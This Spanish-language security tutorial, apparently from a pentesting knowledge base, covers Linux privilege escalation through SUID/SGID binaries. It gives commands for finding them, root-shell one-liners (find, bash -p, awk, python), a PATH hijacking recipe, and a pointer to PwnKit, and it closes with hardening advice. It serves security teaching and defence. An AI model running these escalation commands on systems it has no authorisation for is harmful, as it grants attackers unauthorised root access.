Saltearse al contenido

Binarios SUID/SGID

El bit SUID (Set User ID) hace que un binario se ejecute con los permisos de su dueño, no de quien lo lanza. Es necesario para ciertas operaciones (p. ej. passwd necesita escribir en /etc/shadow siendo root), pero cuando un binario SUID de root hace algo que el atacante puede redirigir hacia una shell, se convierte en escalada directa a root. Es uno de los vectores de privesc en Linux más comunes y fiables.

-rwsr-xr-x 1 root root ... /usr/bin/passwd
^
s en el lugar de la x del dueño = SUID

Al ejecutar un binario con SUID de root, el proceso corre como root durante su ejecución. Si ese binario permite leer/escribir ficheros arbitrarios, ejecutar comandos, o lanzar un intérprete, lo rediriges para obtener una shell de root.

# SUID (dueño root ejecutando como root)
find / -perm -4000 -type f 2>/dev/null
# SGID
find / -perm -2000 -type f 2>/dev/null
# ambos, con detalle
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null -ls

GTFOBins cataloga cómo abusar de cada binario estándar. Si un binario SUID aparece ahí, tienes la receta exacta:

# ejemplos típicos (si tienen SUID de root)
find . -exec /bin/sh -p \; -quit # find con SUID -> shell root
bash -p # bash con SUID
cp: sobrescribir /etc/passwd o /etc/shadow
less/more/vi/nano: ejecutar shell desde el pager/editor
awk 'BEGIN {system("/bin/sh")}'
python -c 'import os;os.setuid(0);os.system("/bin/sh")'
nmap --interactive (versiones viejas)

El flag -p en bash/sh es importante: preserva los privilegios (sin él, bash los descarta).

Los SUID no estándar (programas propios de la empresa) son especialmente jugosos:

# ¿qué hace el binario? ¿llama a otros programas sin ruta absoluta?
strings /ruta/binario_suid # buscar llamadas a system(), rutas, comandos
ltrace / strace ./binario_suid # ver qué ejecuta en tiempo real
# PATH hijacking: si llama a "service" sin ruta -> creas tu "service" malicioso en PATH
export PATH=/tmp:$PATH ; echo '/bin/sh -p' > /tmp/service ; chmod +x /tmp/service
# command injection si pasa argumentos sin sanitizar

Un binario SUID que llama a otro comando sin ruta absoluta (system("service x")) es vulnerable a PATH hijacking → ejecución como root.

pkexec (Polkit) -> PwnKit (CVE-2021-4034): root en casi cualquier Linux
Exim, Sendmail -> varios
# siempre: cruzar el binario+versión con exploits conocidos
  • Auditar y minimizar los binarios SUID/SGID: quitar el bit a los que no lo necesiten (chmod -s).
  • Inventario: saber exactamente qué binarios SUID hay y por qué; alertar sobre nuevos.
  • Binarios custom: nunca con SUID si llaman a otros comandos; rutas absolutas, validación de entrada, mínimo privilegio.
  • Montar con nosuid las particiones donde no deban existir SUID (/tmp, /home, medios externos).
  • Parcheo (PwnKit y similares); AppArmor/SELinux para confinar.
  • Listar SUID/SGID (find -perm -4000/-2000)
  • Cruzar cada uno con GTFOBins
  • Explotar binarios estándar abusables (find, bash -p, cp…)
  • Analizar binarios custom (strings/ltrace) por system()/PATH
  • PATH hijacking si llaman comandos sin ruta absoluta
  • CVEs conocidos (PwnKit/pkexec)
  • Verificar flag -p para preservar privilegios
  • Blue: ¿SUID minimizados, nosuid, parcheado?